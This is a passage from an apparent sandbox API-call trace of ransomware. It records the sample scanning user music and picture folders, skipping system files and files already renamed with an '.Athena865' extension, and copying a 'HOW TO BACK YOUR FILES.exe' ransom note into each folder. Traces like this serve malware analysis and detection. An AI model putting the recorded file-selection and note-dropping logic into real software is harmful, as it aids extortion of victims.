dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.591] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.591] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6349c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.592] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.592] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.592] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.592] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6349c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.592] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.592] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.592] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.592] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.592] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9347cfd0, ftCreationTime.dwHighDateTime=0x1d4d038, ftLastAccessTime.dwLowDateTime=0x2de466a0, ftLastAccessTime.dwHighDateTime=0x1d4ca73, ftLastWriteTime.dwLowDateTime=0xc62d7840, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0cT-PTi6AHe.mp3.Athena865", cAlternateFileName="0CT-PT~1.ATH")) returned 1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2=".") returned 1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="..") returned 1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="windows") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="bootmgr") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="temp") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="pagefile.sys") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="boot") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="ids.txt") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="ntuser.dat") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="perflogs") returned -1 [0101.592] lstrcmpiW (lpString1="0cT-PTi6AHe.mp3.Athena865", lpString2="MSBuild") returned -1 [0101.592] lstrlenW (lpString="0cT-PTi6AHe.mp3.Athena865") returned 25 [0101.592] lstrcpyW (in: lpString1=0x241e8cc, lpString2="0cT-PTi6AHe.mp3.Athena865" | out: lpString1="0cT-PTi6AHe.mp3.Athena865") returned="0cT-PTi6AHe.mp3.Athena865" [0101.592] lstrlenW (lpString="0cT-PTi6AHe.mp3.Athena865") returned 25 [0101.592] lstrlenW (lpString="Athena865") returned 9 [0101.592] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.593] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e780120, ftCreationTime.dwHighDateTime=0x1d4cca2, ftLastAccessTime.dwLowDateTime=0xc62fd9a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc62fd9a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqajU", cAlternateFileName="")) returned 1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2=".") returned 1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="..") returned 1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="windows") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="bootmgr") returned 1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="temp") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="pagefile.sys") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="boot") returned 1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="ids.txt") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="ntuser.dat") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="perflogs") returned -1 [0101.593] lstrcmpiW (lpString1="CqajU", lpString2="MSBuild") returned -1 [0101.593] lstrlenW (lpString="CqajU") returned 5 [0101.593] lstrcpyW (in: lpString1=0x241e8cc, lpString2="CqajU" | out: lpString1="CqajU") returned="CqajU" [0101.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b678 [0101.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x533a30 [0101.593] lstrcatW (in: lpString1="CqajU", lpString2="\\" | out: lpString1="CqajU\\") returned="CqajU\\" [0101.593] lstrcatW (in: lpString1="CqajU\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CqajU\\HOW TO BACK YOUR FILES.exe") returned="CqajU\\HOW TO BACK YOUR FILES.exe" [0101.593] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\CqajU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my music\\cqaju\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.594] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0101.594] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0101.594] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0101.594] lstrcpyW (in: lpString1=0x241e8cc, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0101.594] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0101.594] lstrlenW (lpString="Athena865") returned 9 [0101.594] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.594] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.594] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.594] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b4f2fa0, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0xc6323b00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6323b00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wJbyzOVnUZ9XR-P9FoKE", cAlternateFileName="WJBYZO~1")) returned 1 [0101.594] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2=".") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="..") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="windows") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="bootmgr") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="temp") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="pagefile.sys") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="boot") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="ids.txt") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="ntuser.dat") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="perflogs") returned 1 [0101.595] lstrcmpiW (lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="MSBuild") returned 1 [0101.595] lstrlenW (lpString="wJbyzOVnUZ9XR-P9FoKE") returned 20 [0101.595] lstrcpyW (in: lpString1=0x241e8cc, lpString2="wJbyzOVnUZ9XR-P9FoKE" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE") returned="wJbyzOVnUZ9XR-P9FoKE" [0101.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x541eb0 [0101.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xae) returned 0x5423f8 [0101.595] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE", lpString2="\\" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\") returned="wJbyzOVnUZ9XR-P9FoKE\\" [0101.595] lstrcatW (in: lpString1="wJbyzOVnUZ9XR-P9FoKE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe") returned="wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" [0101.595] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\wJbyzOVnUZ9XR-P9FoKE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my music\\wjbyzovnuz9xr-p9foke\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.596] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav.Athena865", cAlternateFileName="XDQ36J~1.ATH")) returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2=".") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="..") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="windows") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="bootmgr") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="temp") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="pagefile.sys") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="boot") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="ids.txt") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="ntuser.dat") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="perflogs") returned 1 [0101.596] lstrcmpiW (lpString1="Xdq36j18Lt7rY5n.wav.Athena865", lpString2="MSBuild") returned 1 [0101.596] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav.Athena865") returned 29 [0101.596] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Xdq36j18Lt7rY5n.wav.Athena865" | out: lpString1="Xdq36j18Lt7rY5n.wav.Athena865") returned="Xdq36j18Lt7rY5n.wav.Athena865" [0101.596] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav.Athena865") returned 29 [0101.596] lstrlenW (lpString="Athena865") returned 9 [0101.596] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.596] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav.Athena865", cAlternateFileName="XDQ36J~1.ATH")) returned 0 [0101.596] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.596] ReleaseMutex (hMutex=0xec) returned 1 [0101.596] CloseHandle (hObject=0xec) returned 1 [0101.596] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0101.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0101.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b690 | out: hHeap=0x4f0000) returned 1 [0101.597] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned 68 [0101.597] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E2B96008906D720ACECE6CAB10F532B7") returned 0xec [0101.597] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.597] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0101.597] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.597] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.597] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.598] GetLastError () returned 0x0 [0101.598] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.598] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.598] CloseHandle (hObject=0xf4) returned 1 [0101.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.599] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.599] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc68a4de0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.599] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.599] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.599] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.599] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc68a4de0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.599] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.599] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.599] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.599] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.599] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8dec620, ftCreationTime.dwHighDateTime=0x1d4d57c, ftLastAccessTime.dwLowDateTime=0xa3ddaeb0, ftLastAccessTime.dwHighDateTime=0x1d4ced4, ftLastWriteTime.dwLowDateTime=0xc63bc080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-BE_3cSpj5VFil 1.png.Athena865", cAlternateFileName="-BE_3C~1.ATH")) returned 1 [0101.599] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.599] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.599] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2=".") returned 1 [0101.599] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="..") returned 1 [0101.599] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="windows") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="bootmgr") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="temp") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="pagefile.sys") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="boot") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="ids.txt") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="ntuser.dat") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="perflogs") returned -1 [0101.600] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png.Athena865", lpString2="MSBuild") returned -1 [0101.600] lstrlenW (lpString="-BE_3cSpj5VFil 1.png.Athena865") returned 30 [0101.600] lstrcpyW (in: lpString1=0x241e8d2, lpString2="-BE_3cSpj5VFil 1.png.Athena865" | out: lpString1="-BE_3cSpj5VFil 1.png.Athena865") returned="-BE_3cSpj5VFil 1.png.Athena865" [0101.600] lstrlenW (lpString="-BE_3cSpj5VFil 1.png.Athena865") returned 30 [0101.600] lstrlenW (lpString="Athena865") returned 9 [0101.600] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.600] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab575fe0, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0x3a310d90, ftLastAccessTime.dwHighDateTime=0x1d4ceb6, ftLastWriteTime.dwLowDateTime=0xc64ecb80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0DtmKOGs7JD.png.Athena865", cAlternateFileName="0DTMKO~1.ATH")) returned 1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2=".") returned 1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="..") returned 1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="windows") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="bootmgr") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="temp") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="pagefile.sys") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="boot") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="ids.txt") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="ntuser.dat") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="perflogs") returned -1 [0101.600] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="MSBuild") returned -1 [0101.600] lstrlenW (lpString="0DtmKOGs7JD.png.Athena865") returned 25 [0101.600] lstrcpyW (in: lpString1=0x241e8d2, lpString2="0DtmKOGs7JD.png.Athena865" | out: lpString1="0DtmKOGs7JD.png.Athena865") returned="0DtmKOGs7JD.png.Athena865" [0101.600] lstrlenW (lpString="0DtmKOGs7JD.png.Athena865") returned 25 [0101.600] lstrlenW (lpString="Athena865") returned 9 [0101.601] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.601] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9215ec0, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0xc5536740, ftLastAccessTime.dwHighDateTime=0x1d4cb1b, ftLastWriteTime.dwLowDateTime=0xc6512ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xe8f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0tnAHeA3v9Mw-E.gif.Athena865", cAlternateFileName="0TNAHE~1.ATH")) returned 1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", 